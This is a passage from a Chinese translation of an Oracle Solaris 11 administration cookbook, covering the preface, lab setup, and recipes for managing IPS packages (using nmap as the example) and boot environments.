Solaris-11-高级管理-全-

Solaris 11 高级管理(全)

原文:annas-archive.org/md5/d798fed6801363e3c493ed91d8bc1298

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

说实话,如果几年前有人让我写一本书,我肯定会回答说这是不可能的,原因有很多,既有个人的,也有职业的。从 2001 年初我在 Sun Microsystems 教授我的第一门课程以来,发生了许多事情(那时,我正在使用 Sun Solaris 7)。如今,我很感激能够继续从世界各地的优秀专业人士那里学习更多关于这个出色操作系统的知识,他们本可以写这本书。

我不得不承认,我是 Oracle Solaris 的忠实粉丝,我多年的实践经验让我看出,它依然是世界上最好的操作系统,并且在一段时间里,它也一直无与伦比。当有人谈到性能、安全性、一致性、功能和可用性时,我总是会想到同一个问题:Oracle Solaris。

可能会有人不同意我的观点,我可以尝试解释我的立场,批评其他优秀的操作系统,如 Linux、AIX、HP-UX,甚至 Windows,但这样做既不高效,也不礼貌。相反,我认为更适合的方式是教你 Oracle Solaris 的高级功能及其使用案例,你可以根据自己的理解做出结论。

Oracle 在 Oracle Solaris 上投入了大量资金,自那时以来,许多优秀且先进的功能被引入,使得 Oracle Solaris 得到了极大的改善,而本书也正是从这一点开始的。

Oracle Solaris 11 高级管理烹饪书旨在逐步展示和解释如何在 Oracle Solaris 11 系统上执行日常任务的专门程序,其中每个命令都经过测试,并展示其输出。此外,本书还将致力于回顾一些 Oracle Solaris 11 中级管理的关键主题,所有基础和高级管理概念将根据需要介绍,帮助读者理解那些晦涩的内容。

在写这本书的过程中,我学到了很多,并测试了不同的场景和方法,只为将最核心的概念和程序带给你,所有的命令和输出都来自我自己的实验室。顺便说一下,整本书是在 x64 机器上编写的,因为大多数人很难访问基于 SPARC 的系统。

最后,我希望你在阅读这本书时能像我写它时一样享受其中。我希望你喜欢它!

本书涵盖的内容

第一章,IPS 和启动环境,涵盖了 IPS 和启动环境管理的各个方面,解释了如何管理软件包、配置 IP 仓库以及创建你自己的软件包。此外,本章还讨论了 BE 管理及其相关操作。

第二章, ZFS,解释了 ZFS 的卓越世界。本章重点介绍了 ZFS 池和文件系统的管理,以及如何处理快照、克隆和备份。此外,还将讨论使用 ZFS 影子、与 SMB 共享的 ZFS 共享以及日志。最后,将详细解释如何镜像根池以及如何使用 ZFS 交换空间。

第三章, 网络,介绍了反应式网络配置、链路聚合设置和 IPMP 管理。还将详细解释其他复杂主题,如网络桥接、链路保护和集成负载均衡器。

第四章, Zones,展示了如何管理虚拟网络并在区域上部署资源管理器。还将讨论诸如流量控制和区域迁移等补充和有趣的主题。

第五章, 使用 Oracle Solaris 11 服务,帮助您了解所有 SMF 操作,并回顾有关如何管理服务的基本概念。此外,本章还逐步解释并展示了创建 SMF 服务、处理清单和配置文件、管理网络服务以及排除 Oracle Solaris 11 服务故障的方法。

第六章 服务器"), 配置和使用自动安装程序 (AI) 服务器,带您了解端到端的自动安装程序 (AI) 配置步骤,并提供如何从 AI 服务器安装 x86 客户端的所有信息。

第七章, 配置和管理 RBAC 和最小特权,解释了如何配置和管理 RBAC 和最小特权。重点是保持 Oracle Solaris 安装的安全性。

第八章, 管理和监控进程,提供了一个有趣的方法来处理进程及其优先级。

第九章, 配置 Syslog 和监控性能,提供了逐步配置 Syslog 服务的方法,并且对 Oracle Solaris 11 中的性能监控进行了良好的介绍。

本书所需内容

我相信你非常清楚如何安装 Oracle Solaris 11。然而,仍然有必要向你展示如何配置一个简单的环境,以执行本书中的每个步骤。一个做得好的环境将帮助我们通过执行所有命令、示例和步骤来理解本书中的每一个概念。最终,你应该记住这是一本实践性很强的书!

要按照本教程操作,必须有一台物理机器,至少配备 8 GB RAM 和约 80 GB 的硬盘空间。此外,这台主机应运行与 VMware 或 VirtualBox 虚拟化软件兼容并受支持的操作系统,包括支持硬件虚拟化的 Intel 或 AMD 处理器。你还需要一台运行中的 Solaris 11,该系统将作为虚拟机(VMware 或 VirtualBox)安装和配置。

为了准备好你的环境,你需要执行以下步骤:

  1. 首先,你应该从 Oracle 官网下载 Oracle Solaris 11 (www.oracle.com/technetwork/server-storage/solaris11/downloads/index.html)。建议选择Oracle Solaris 11 Live Media for x86方法,因为它比文本安装器方法更简单,并且允许我们在实际安装之前从 DVD 启动 Oracle Solaris 11。例如,如果我们使用的是物理机器(而不是通常使用的虚拟机),它会提供一个名为设备驱动程序实用程序的工具,用来检查 Oracle Solaris 11 是否拥有物理硬件的所有驱动程序软件。不过,如果我们想在 SPARC 机器上安装 Oracle Solaris 11,那么应选择文本安装器方法。

  2. 我们应该从 Oracle Solaris 仓库镜像中下载所有文件,并将它们连接成一个单一文件(# cat part1 part2 part3 … > sol-11-repo-full.iso)。这个最终的镜像将在第一章中使用,IPS 和启动环境,我们会讨论如何配置 IPS 本地仓库。

  3. 在本书后续章节中,将会讲解如何配置Oracle Solaris 11 自动安装,因此建议你花时间下载Oracle Solaris 11 自动化安装镜像 DVD 版本,适用于 x86,从www.oracle.com/technetwork/server-storage/solaris11/downloads/install-2245079.html

  4. 必须获取一些虚拟化工具来创建虚拟机进行 Oracle Solaris 11 安装,比如 VMware Workstation (www.vmware.com/products/workstation/workstation-evaluation) 或可以从 www.virtualbox.org/ 下载的 Oracle VirtualBox。

  5. 不幸的是,本书中无法详细介绍如何安装 Oracle Solaris 11。然而,Oracle 技术网络(OTN)上有一篇很好的文章,解释并展示了详细的逐步安装过程,网址是 www.oracle.com/technetwork/articles/servers-storage-admin/solaris-install-borges-1989211.html

  6. 记住,在 LiveCD GUI 安装方法中,root 用户始终被配置为角色,而这一操作与 文本安装程序 方法不同,后者允许我们选择是否将 root 用户配置为角色。

  7. 以防读者忘记如何将 root 角色恢复为用户角色,我们可以执行以下命令:

    root@solaris11:/#  su - root
    root@solaris11:/#  rolemod  -K  type=normal  root
    
    

    之后,需要注销并重新登录系统才能使用 root 用户。

  8. 最后,我们建议你通过运行以下命令来验证 Oracle Solaris 11 是否正常工作:

    root@solaris11:/# svcs  network/physical
    STATE          STIME    FMRI
    online         13:43:02 svc:/network/physical:upgrade
    online         13:43:18 svc:/network/physical:default
    
    root@solaris11:~# ipadm show-addr
    ADDROBJ       TYPE       STATE          ADDR
    lo0/v4      static        ok       127.0.0.1/8
    net0/v4     dhcp          ok       192.168.1.111/24
    lo0/v6      static        ok       ::1/128
    net0/v6     addrconf      ok       fe80::a00:27ff:fe56:85b8/10
    

我们已经完成了环境设置。现在是时候开始学习了!

本书的读者对象

如果你是 IT 专业人士、IT 分析师,或拥有 Oracle Solaris 11 中级管理知识,并希望学习和部署 Oracle Solaris 11 的高级功能,那么这本书适合你。此外,这是一本实用的书籍,需要运行 Oracle Solaris 11 虚拟机的系统。

约定

本书中包含多种文本风格,用于区分不同类型的信息。以下是一些风格示例及其含义说明。

文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 账户名等均如下所示:“用于检测 nmap 包损坏的命令成功识别了确切问题。”

任何命令行输入或输出都如下所示:

root@solaris11:~# beadm list
BE                Active Mountpoint Space    Policy  Created  
-------------     ------ ---------- -------  ------  ---------- 
solaris           NR     /          4.99G    static  2013-10-05 20:44
solaris-backup-1  -      -          163.0K   static  2013-10-10 19:57
solaris-backup-b  -      -          173.0K   static  2013-10-12 22:47

新术语重要词汇以粗体显示。你在屏幕上看到的词汇,例如在菜单或对话框中,通常以这样的方式呈现:“要启动包管理器界面,请进入系统 | 管理员 | 包管理器。”

注意

警告或重要提示通常以框的形式呈现。

提示

提示和技巧通常以这种方式呈现。

读者反馈

我们始终欢迎读者的反馈。请告诉我们你对本书的看法——你喜欢或不喜欢的部分。读者反馈对我们开发能够帮助你充分利用的书籍非常重要。

若要向我们发送一般反馈,请发送电子邮件至 <feedback@packtpub.com>,并在邮件主题中提及书籍标题。

如果你在某个主题上有专业知识,并且有兴趣为书籍写作或贡献内容,请查看我们在 www.packtpub.com/authors 上的作者指南。

客户支持

现在,您已经成为 Packt 书籍的骄傲拥有者,我们为您提供了一些帮助,让您从购买中获得最大收益。

勘误

尽管我们已尽力确保内容的准确性,但错误仍然可能发生。如果您在我们的书籍中发现错误——可能是文本或代码的错误——我们将非常感激您能报告给我们。通过这样做,您可以帮助其他读者避免困惑,并帮助我们改进后续版本的书籍。如果您发现任何勘误,请访问www.packtpub.com/submit-errata进行报告,选择您的书籍,点击勘误提交表单链接,并输入勘误的详细信息。一旦您的勘误得到验证,您的提交将被接受,勘误将被上传到我们的网站,或添加到该书籍现有勘误的列表中,位于该标题的勘误部分。您可以通过访问www.packtpub.com/support查看任何现有的勘误。

盗版

互联网上的版权资料盗版是一个在所有媒体中持续存在的问题。我们在 Packt 非常重视保护我们的版权和许可。如果您在互联网上发现我们作品的任何非法副本,无论以何种形式,请立即提供该地址或网站名称,以便我们采取措施。

请通过<copyright@packtpub.com>与我们联系,并提供涉嫌盗版内容的链接。

我们感谢您帮助保护我们的作者,并支持我们为您提供有价值的内容。

问题

如果您在书籍的任何方面遇到问题,可以通过<questions@packtpub.com>与我们联系,我们将尽力解决。

第一章:IPS 与引导环境

在本章中,我们将涵盖以下主题:

  • 确定当前的包发布者

  • 列出并收集包的信息和依赖项

  • 安装包、验证其内容并修复包的损坏

  • 管理 IPS 历史记录,并冻结和卸载包

  • 发现 IPS 包管理器界面

  • 创建、激活并销毁引导环境

  • 列出并重命名引导环境

  • 配置 IPS 本地仓库

  • 配置次要 IPS 本地仓库

  • 将包发布到仓库中

  • 向仓库中添加大型应用程序

  • 创建自己的包并发布它

  • 在 Solaris 11 上管理 IPS 发布者

  • 钉住发布者

  • 更改 URI 并启用或禁用发布者

  • 创建镜像仓库

  • 删除仓库并更改搜索顺序

  • 列出并创建引导环境

  • 在非活动引导环境中挂载、卸载、安装和卸载包

  • 激活引导环境

  • 从现有的引导环境创建一个新的引导环境

介绍

正如你已经知道的,Oracle Solaris 11 已经经历了许多变化,并且现在提供了一个用于管理包的框架,称为 映像包装系统IPS)。这个新框架使管理员在添加、删除、收集和管理任何软件包时更加轻松。默认情况下,Oracle 在网络上提供了一个仓库(一个大的包集合),地址为 pkg.oracle.com/solaris/release/,这是 Oracle Solaris 11 的默认仓库。通过使用这个仓库,我们可以从互联网安装任何包,正如我们将很快学到的那样,完全可以在我们自己的 Oracle Solaris 11 安装上创建一个本地仓库(像默认的那个一样),以提高我们环境的安全性和性能。此外,我们还可以配置 Oracle Solaris 11,允许它拥有多个仓库作为包的来源。

超越 IPS,Oracle Solaris 11 使用 引导环境BEs)帮助我们进行 Oracle Solaris 11 升级,而不会对当前数据造成任何风险,因为更新过程在执行包更新之前会创建一个新的 BE。这个新的 BE 会在下次重启时出现在 GRUB 菜单中,从那里我们可以选择新的 BE(更新后的 Solaris)或旧的 BE。引导环境在处理 Oracle Solaris 11 管理时会在其他领域派上用场。

确定当前的包发布者

在 Solaris 11 系统上管理 IPS 时,我们需要做的第一件事是找出当前的包发布者,因为最初它将是我们系统安装或更新包的来源。

准备工作

要执行这个过程,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们需要以 root 用户身份登录该系统并打开终端。

如何操作……

要列出现有的发布者,我们执行以下命令:

root@solaris11:/# pkg publisher
PUBLISHER   TYPE    STATUS  P  LOCATION
solaris     origin  online  F  http://pkg.oracle.com/solaris/release/

根据输出,Oracle 软件包 URI 和仓库(pkg.oracle.com/solaris/release/)是软件包和更新的来源(命名为origin),并且它没有被代理(当P等于F时,代理设置为 false)。

若要收集有关软件包发布者的更多信息,我们可以输入以下命令:

root@solaris11:~# pkg publisher solaris
Publisher: solaris
Alias:
Origin URI: http://pkg.oracle.com/solaris/release/
SSL Key: None
SSL Cert: None
Client UUID: f7cdfbf2-0292-11e2-831b-80144f013e20
Catalog Updated: September 12, 2013 04:22:26 PM
Enabled: Yes

配方概览

使用主命令pkg并加上publisher关键字,我们找到了发布者列表,solaris发布者是online,并且启用了一个指向仓库位置的 URI,即pkg.oracle.com/solaris/release/。此外,solaris发布者没有与之关联的 SSL 数字证书。

列出并收集软件包的信息和依赖关系

为了演示管理软件包的简单性,让我们来看一个有用的例子,在 Oracle Solaris 11 上安装一个软件包。

如何操作……

首先,我们需要知道要安装哪个软件包。然而,在安装任何软件包之前,我们需要通过运行以下命令来确认该软件包是否已经安装在系统上:

root@solaris11:~# pkg list nmap
pkg list: no packages matching 'nmap' installed

如我们所见,nmap软件包(扫描工具)没有安装在 Oracle Solaris 11 上;我们可以确认这个工具来自官方源仓库(根据之前的发布者列表是solaris)。此外,在执行此步骤之前,建议重新构建仓库索引(主要是如果你不记得上次添加或删除软件包的时间),以加速后续查找过程:

root@solaris11:~# pkg rebuild-index
PHASE                                       ITEMS
Building new search index                   847/847

现在是时候搜索nmap软件包了。我们可以通过以下命令来实现:

root@solaris11:~# pkg search nmap
INDEX           ACTION  VALUE                                   
                                                    PACKAGE
pkg.description set    Nmap is useful for inventorying the network, managing service upgrade schedules, and monitoring host or service uptime. pkg:/diagnostic/nmap@5.51-0.175.1.0.0.24.0
basename        file    usr/bin/nmap                            
                                                    pkg:/diagnostic/nmap@5.51-0.175.1.0.0.24.0
pkg.fmri        set     solaris/diagnostic/nmap                 
                                                    pkg:/diagnostic/nmap@5.51-0.175.1.0.0.24.0
basename        dir     usr/share/nmap                          
                                                    pkg:/diagnostic/nmap@5.51-0.175.1.0.0.24.0

我们可以确认nmap是可用的,并且尚未安装在系统上,但多了解一些关于该软件包的信息总是有帮助的。判断nmap软件包是否已安装的一个简单方法是执行以下命令:

root@solaris11-1:~# pkg list -af nmap
NAME (PUBLISHER)              VERSION                    IFO
diagnostic/nmap               5.51-0.175.1.0.0.24.0      ---

如果最后一列(IFO)没有i标志,那么我们可以确认该软件包没有安装。我们还可以通过输入以下命令来获取关于nmap的更多信息:

root@solaris11:~# pkg info -r nmap
Name: diagnostic/nmap
Summary: Network exploration tool and security / port scanner.
Description: Nmap is useful for inventorying the network, managing service upgrade schedules, and monitoring host or service uptime.
Category: System/Administration and Configuration
 State: Not installed
 Publisher: solaris
 Version: 5.51
 Build Release: 5.11
Branch: 0.175.1.0.0.24.0
Packaging Date: September  4, 2012 05:17:49 PM 
Size: 12.28 MB
FMRI: pkg://solaris/diagnostic/nmap@5.51,5.11-0.175.1.0.0.24.0:20120904T171749Z

这个命令很重要,因为我们收集了关于nmap软件包的有价值属性,比如其状态(未安装)和大小(12.28 MB)。-r选项是必要的,因为它引用了来自注册发布者的仓库中的软件包。我们可以以相同的方式查看 Nmap 的许可证协议:

root@solaris11:~# pkg info -r --license nmap
Oracle elects to use only the GNU Lesser General Public License version
2.1 (LGPL)/GNU General Public License version 2 (GPL) for any software
where a choice of LGPL/GPL license versions are made available with the
language indicating that LGPLv2.1/GPLv2 or any later version may be
used, or where a choice of which version of the LGPL/GPL is applied is
unspecified. 
…..........

有时,在尝试安装特定软件包(如nmap)之前,了解安装该软件包所需的依赖包是非常有用的。我们可以通过执行以下命令来验证:

root@solaris11:~# pkg contents -r -o fmri,type -t depend nmap
FMRI                                                       TYPE
pkg:/library/pcre@8.21-0.175.1.0.0.23.0                             require
pkg:/library/python-2/pygobject-26@2.21.1-0.175.1.0.0.11.0   require
pkg:/library/python-2/pygtk2-26@2.17.0-0.175.1.0.0.19.0     require
pkg:/library/security/openssl@1.0.0.10-0.175.1.0.0.23.0      require
pkg:/runtime/lua@5.1.4-0.175.1.0.0.23.0                             require
pkg:/runtime/python-26@2.6.8-0.175.1.0.0.23.0                     require
pkg:/system/library/gcc-3-runtime@3.4.3-0.175.1.0.0.23.0         require
pkg:/system/library/libpcap@1.1.1-0.175.1.0.0.23.0                  require
pkg:/system/library/math@0.5.11-0.175.1.0.0.19.0                   require
pkg:/system/library@0.5.11-0.175.1.0.0.23.0                         require

我们还可以通过执行以下命令得到相同的结果:

root@solaris11:~# pkg contents -r -o action.raw -t depend nmap
ACTION.RAW
depend fmri=pkg:/library/python-2/pygobject-26@2.21.1-0.175.1.0.0.11.0 type=require
depend fmri=pkg:/system/library/gcc-3-runtime@3.4.3-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/library/security/openssl@1.0.0.10-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/runtime/lua@5.1.4-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/system/library/math@0.5.11-0.175.1.0.0.19.0 type=require
depend fmri=pkg:/system/library@0.5.11-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/runtime/python-26@2.6.8-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/library/pcre@8.21-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/system/library/libpcap@1.1.1-0.175.1.0.0.23.0 type=require
depend fmri=pkg:/library/python-2/pygtk2-26@2.17.0-0.175.1.0.0.19.0 type=require

–t选项指定action.raw,用于将搜索限制为特定属性,如depend–r选项根据最新的可用版本匹配软件包并获取有关未安装软件包的信息,而-o选项限制输出中显示的列数。

我们有一个安装新软件包(如nmap)所需的包列表,所有软件包都显示为require;不过,如果我们管理的是另一个软件包,这条命令会显示为optional

方案概览

之前的命令验证了如果一个特定的软件包已经安装(如nmap),它会重新索引软件包目录(以加快搜索速度),并收集关于软件包的详细信息。此外,我们列出了nmap软件包的依赖关系。我们会注意到被索引的软件包数量(847)非常高,这也是为什么这个操作需要一些时间的主要原因。

安装一个软件包、验证其内容并修复软件包损坏

这次,我们具备了足够的条件来安装软件包并验证其内容,如果发现任何软件包存在问题,我们也能进行修复。这是一个令人兴奋的部分,因为它将介绍许多有用的命令,所有这些命令都在日常的 Solaris 11 管理中使用。

准备工作

我们将使用nmap软件包学习下一步的操作,但同样的操作也可以使用其他任何 Solaris 11 软件包完成。

如何操作…

我们执行以下命令:

root@solaris11:~# pkg install -v nmap
           Packages to install:        1
         Estimated space available: 71.04 GB
     Estimated space to be consumed: 51.67 MB
       Create boot environment:       No
     Create backup boot environment:       No
           Services to change:        1
           Rebuild boot archive:       No

   Changed packages:
   solaris
   diagnostic/nmap
   None -> 5.51,5.11-0.175.1.0.0.24.0:20120904T171749Z
   Services:
   restart_fmri:
   svc:/application/desktop-cache/desktop-mime-cache:default
   DOWNLOAD                                PKGS         FILES    XFER (MB)   SPEED
   Completed                                1/1       523/523      3.3/3.3 24.1k/s

PHASE                                             ITEMS
Installing new actions                            581/581
Updating package state database         Done 
Updating image state                            Done 
Creating fast lookup database               Done 

根据输出,Solaris 11 没有创建 BE。当然,这只是一次非常简单的软件包安装。然而,如果我们安装的是 Solaris 补丁,情况就会大不相同。我们可以通过输入以下命令检查我们的安装:

root@solaris11:~# pkg list nmap
NAME (PUBLISHER)                       VERSION                    IFO
diagnostic/nmap                        5.51-0.175.1.0.0.24.0      i--

最后一列显示软件包已安装,因此要查看我们的安装内容,我们输入以下命令:

root@solaris11:~# pkg contents nmap
PATH
usr
usr/bin
usr/bin/ncat
usr/bin/ndiff
usr/bin/nmap
usr/bin/nmapfe
usr/bin/nping
usr/bin/xnmap
usr/bin/zenmap
usr/lib
usr/lib/python2.6
usr/lib/python2.6/vendor-packages
usr/lib/python2.6/vendor-packages/radialnet
usr/lib/python2.6/vendor-packages/radialnet/__init__.py
usr/lib/python2.6/vendor-packages/radialnet/__init__.pyc
…......................

我们可以通过运行以下命令,使用另一种形式并展示额外的信息:

root@solaris11:~# pkg contents -t file -o owner,mode,pkg.size,path nmap
OWNER   MODE   PKG.SIZE    PATH
root    0555   166228      usr/bin/ncat
root    0555   48418       usr/bin/ndiff
root    0555   1540872     usr/bin/nmap
root    0555   608972      usr/bin/nping
root    0555   6748        usr/bin/zenmap
…...................

此外,每个软件包都有一个名为manifest的文件,描述了如软件包内容、属性和依赖关系等详细信息。我们可以通过以下命令查看已安装软件包的manifest文件:

root@solaris11:~# pkg contents -m nmap | more
set name=pkg.fmri value=pkg://solaris/diagnostic/nmap@5.51,5.11-0.175.1.0.0.24.0:20120904T171749Z
set name=pkg.debug.depend.bypassed value=usr/lib/python2.6/vendor-packages/zenmapGUI/SearchWindow.py:.*
set name=variant.arch value=i386 value=sparc
set name=org.opensolaris.consolidation value=userland
set name=org.opensolaris.arc-caseid value=PSARC/2007/129
set name=info.upstream-url value=http://insecure.org/
set name=info.source-url value=http://nmap.org/dist/nmap-5.51.tgz
set name=pkg.summary value="Network exploration tool and security / port scanner."
set name=info.classification value="org.opensolaris.category.2008:System/Administration and Configuration"
  …................................................
  …...............................................

提示

你可能会想知道是否可以检查软件包安装是否保持了其完整性。是的,你可以使用以下命令来管理这个问题:

root@solaris11:~# pkg verify -v nmap
PACKAGE                                           STATUS
pkg://solaris/diagnostic/nmap                     OK

让我们创建一个简单的测试,破坏nmap软件包中的任何文件;然后,通过运行以下命令检查软件包状态:

root@solaris11:~# find / -name nmap
/usr/bin/nmap

我们继续执行以下命令:

root@solaris11:~# mkdir /backup
root@solaris11:~# cp /usr/bin/nmap /backup/
root@solaris11:~# echo GARBAGE  > /usr/bin/nmap
root@solaris11:~# pkg verify -v nmap
PACKAGE                                                      STATUS
pkg://solaris/diagnostic/nmap                                ERROR
 file: usr/bin/nmap
  Unexpected Exception: Request error: class file/memory     mismatch

哇!用于检测nmap软件包损坏的命令检测到了确切的问题。我们可以通过一种非常简单且快速的方法修复这个潜在的问题:

root@solaris11:~# pkg fix nmap
Verifying: pkg://solaris/diagnostic/nmap                        ERROR
  file: usr/bin/nmap
Unexpected Exception: Request error: class file/memory mismatch
Created ZFS snapshot: 2013-10-10-22:27:20
Repairing: pkg://solaris/diagnostic/nmap                     
Creating Plan (Evaluating mediators): \

DOWNLOAD                                PKGS         FILES    XFER (MB)   SPEED
Completed                                1/1           1/1      0.5/0.5 97.0k/s

PHASE                                            ITEMS
Updating modified actions                        1/1
Updating image state                             Done 
Creating fast lookup database                    Done 

方案概览

在安装nmap软件包时,我们发现安装后占用 51.67 MB 的空间,并且没有创建新的 BE。在接下来的命令中,我们发现了很多信息;例如,nmap软件包包含的文件,该软件包在 x86 或 SPARC 架构上运行,它来自 Solaris 软件仓库,由insecure.org开发,其源文件为nmap-5.51.tgz,并且仅在用户空间运行。之后,我们验证了nmap的完整性,损坏了它,并修复了它。

管理 IPS 历史记录以及冻结和卸载软件包

审计是公司当前的另一个关注点,通常情况下,了解最近发生了哪些软件包操作非常有帮助。此外,我们还将学习一种方法来删除 IPS 命令历史记录。

如何操作……

为了收集这些信息,我们执行以下命令:

root@solaris11:~# pkg history
START                    OPERATION               CLIENT              OUTCOME
2012-09-19T16:48:22      set-property             transfer module    Succeeded
2012-09-19T16:48:22      add-publisher           transfer module    Succeeded
2012-09-19T16:48:22      refresh-publishers    transfer module    Succeeded
2012-09-19T16:48:22      image-create            transfer module    Succeeded
2012-09-19T16:48:30      rebuild-image-catalogs   transfer module    Succeeded
2012-09-19T16:48:36      set-property             transfer module    Succeeded
2012-09-19T16:48:37      install                     transfer module    Succeeded
2012-09-19T17:30:12      update-publisher      transfer module    Succeeded
2012-09-19T17:30:12      refresh-publishers    transfer module    Succeeded
2012-09-19T17:30:16      rebuild-image-catalogs   transfer module    Succeeded
2013-10-05T20:58:30      uninstall                transfer module    Succeeded
2013-10-05T21:42:06      refresh-publishers       pkg                 Succeeded
2013-10-05T21:42:06      install                    pkg                Failed
2013-10-05T21:42:14      rebuild-image-catalogs   pkg           Succeeded
2013-10-07T17:40:53      install                  pkg                Succeeded
2013-10-07T18:31:03      uninstall                     pkg                Succeeded
2013-10-07T19:06:14      install                   pkg                Succeeded

我们并不总是需要或想要保留我们操作的历史记录;Oracle Solaris 11 允许我们通过运行一个简单的命令来清除历史记录:

root@solaris11:~# pkg purge-history
History purged.

不时地,Oracle Solaris 11 软件包会进行更新,我们知道,当有新版本可用时,最好更新软件包。可以使用以下命令检查是否有更新:

root@solaris11:~# pkg update nmap
No updates available for this image

然而,必须强调的是,如果我们执行pkg update,整个系统将会被更新。

在极少数情况下,我们可能需要冻结一个软件包以防止其更新。这种干预虽然非常不可能发生,但当我们必须保持一个非常特定的软件版本在系统中时,即使它在执行类似pkg update的更新命令来修改内容时,也需要冻结。用于冻结的软件包的命令如下:

root@solaris11:~# pkg freeze diagnostic/nmap
diagnostic/nmap was frozen at 5.51-0.175.1.0.0.24.0:20120904T171749Z

同样地,我们可以改变主意,通过执行以下命令解冻nmap软件包:

root@solaris11:~# pkg unfreeze diagnostic/nmap
diagnostic/nmap was unfrozen.

在继续之前,我们可以使用一个巧妙的技巧来再次更新 Nmap,而无需使用pkg update nmap命令。一个 facet 代表一个可选的软件组件,例如locale属性,而 variants 代表互斥的软件组件(例如 x86 组件与 SPARC 组件)。

一个软件包有一个关联的操作,而 facet 被定义为软件包操作的标签。所以,当version.lock facet 被设置为true值时(无论之前设置的值是什么),IPS 框架会检查软件仓库中是否有该软件包的新版本:

root@solaris11:~# pkg change-facet facet.version-lock.diagnostic/nmap=true
            Packages to update: 849
      Variants/Facets to change:   1
        Create boot environment:  No
Create backup boot environment: Yes

PHASE                                          ITEMS
Updating image state                           Done 
Creating fast lookup database                  Done 

注意

如果你想了解更多关于 variants 和 facets 的信息,请参考控制可选组件的安装,该部分内容可以在docs.oracle.com/cd/E26502_01/html/E28984/glmke.html#scrolltoc添加和更新 Oracle Solaris 11.1 软件包手册中找到。

最后,为了完成对 IPS 管理的复习,在管理软件包时一个重要的因素是知道如何卸载它们:

root@solaris11:~# pkg uninstall nmap
            Packages to remove:  1
       Create boot environment: No
Create backup boot environment: No
            Services to change:  1

PHASE                                           ITEMS
Removing old actions                            598/598
Updating package state database                 Done 
Updating package cache                          1/1 
Updating image state                            Done 
Creating fast lookup database                   Done 

root@solaris11:~# pkg list nmap
pkg list: no packages matching 'nmap' installed

操作步骤概述

使用 pkg history 命令,可以列出管理员在 IPS 框架上执行的所有操作,无论成功或失败,并且包括 pkg 命令执行的确切时间。如果我们需要进行审计,这无疑是一个很好的功能。有一个叫做 pkg purge-history 的命令,它会清除所有历史记录,且只能由 root 用户执行。我们还了解了 pkg freeze,它可以防止 Oracle Solaris 11 更新某个特定的软件包。最后,我们已经看到使用 pkg uninstall 卸载软件包是多么简单。

探索 IPS 软件包管理器界面

一些管理员更喜欢使用 GUI 来管理 Oracle Solaris 11 的某些区域。也许这也是你的偏好,为此,有一个叫做“软件包管理器 GUI”的工具,它是一个精心制作的界面,使得几乎可以完成所有的软件包管理工作。就个人而言,我认为它是一个非常整洁的工具,特别是当你想查看来自软件库的所有可用包时;当我需要一次安装多个软件包时,它使工作变得更轻松。

尽管软件包管理器 GUI 具有许多便捷的功能,但我们在这里不会讨论这些特点。如果你想了解更多关于图形界面的内容,我相信你可以自己探索并学习。

如何操作…

要启动软件包管理器界面,我们可以进入 系统 | 管理员 | 软件包管理器

如何操作…

很好!我们已经对 IPS 管理做了一个基本回顾。现在,我们将继续进行另一个关于 BEs 的基本回顾。

配方概述

GUI 是在 Oracle Solaris 11 系统上管理 IPS 包的一个非常棒的方式,它能够最大限度地利用 IPS 管理任务以及 BE 管理任务。

创建、激活和销毁引导环境

我总是喜欢提出这样一个问题:在管理 Oracle Solaris 11 时,有哪些事实能使生活变得更加轻松?

也许答案并没有那么难;为了证明这一点,让我们设想一个场景。我们需要更新 Oracle Solaris 11,为此,我们需要重启系统,插入 Oracle Solaris 11 安装 DVD,并在启动时选择升级选项。升级完成了吗?没有其他问题了吗?不幸的是,这并非如此,因为存在一些潜在的权衡:

  • 我们不得不停止应用程序并重启操作系统,用户也不得不停止工作。

  • 如果在升级 Oracle Solaris 操作系统时遇到问题,我们将失去所有旧的安装,因为升级过程会覆盖掉先前的 Oracle Solaris 版本;因此,我们将无法重启系统并恢复到之前的版本

正如你所意识到的,这对管理员来说是一个重大威胁,因为在第一种情况下,我们拥有一个正常运行(但已过时)的系统,而在第二种情况下,如果出现问题,我们就有可能失去一切(以及我们宝贵的工作)。我们如何改进这种情况呢?

在 Oracle Solaris 11 中,当我们需要升级系统时,Oracle Solaris 11 会自动创建一个 BE 来帮助我们完成该过程。引导环境是一种克隆,它使我们能够保存之前的安装,如果升级过程中出现任何问题,Oracle Solaris 11 的引导环境可以让我们将操作系统恢复到旧的状态(安装)。这种操作的最大优势之一是管理员无需执行任何命令来创建 BE 以保护并保存之前的安装。Oracle Solaris 11 会管理整个过程。这有两个好处:升级过程可以在不重启操作系统的情况下完成,并且引导环境让我们在遇到问题时可以回滚环境。

你应该知道,BEs 不仅仅用于升级操作。事实上,我们可以使用它们来修补系统、安装应用程序或创建测试环境。在所有这些情况下,BE 使得将系统恢复到之前的状态成为可能。因此,在我们处理完这些基本内容后,就该开始实践了。

如今,专业人员大量使用 BE,这也是在管理 Oracle Solaris 11 时,创建、激活和销毁 BEs 最为重要的真正原因。你可以确信,这些知识对你理解 Oracle Solaris 11 高级管理至关重要。

准备工作

要跟随本配方,我们需要一台运行 Oracle Solaris 11 的机器(物理机或虚拟机);我们以 root 用户身份登录系统并打开终端。此外,我们的系统必须能够连接到互联网。可能还需要一些额外的空闲空间。

如何操作…

毫不拖延地,执行以下命令:

root@solaris11:~# beadm create solaris-backup-1
root@solaris11:~# beadm list
BE                Active Mountpoint Space    Policy  Created  
-------------     ---------------------------------  ---------- 
solaris           NR     /          4.99G    static  2013-10-05 20:44
solaris-backup-1  -      -          163.0K   static  2013-10-10 19:57
solaris-backup-b  -      -          173.0K   static  2013-10-12 22:47

Oracle Solaris 11 会自动在 GRUB 列表中创建一个条目,并将其设置为默认选择。然而,需要注意的是,名为 solaris-backup-b 的另一个 BE 已经存在于系统中,这是之前测试时创建的,它将在后续的一些步骤中使用。

要启用 solaris-backup-1 BE,请执行以下命令:

root@solaris11:~# beadm activate solaris-backup-1
root@solaris11:~# beadm list
BE                   Active Mountpoint Space    Policy     Created          
-----------------------          ------------------------------------   ----------              ------------------------     
solaris              N       /          4.99G      static     2013-10-05 20:44
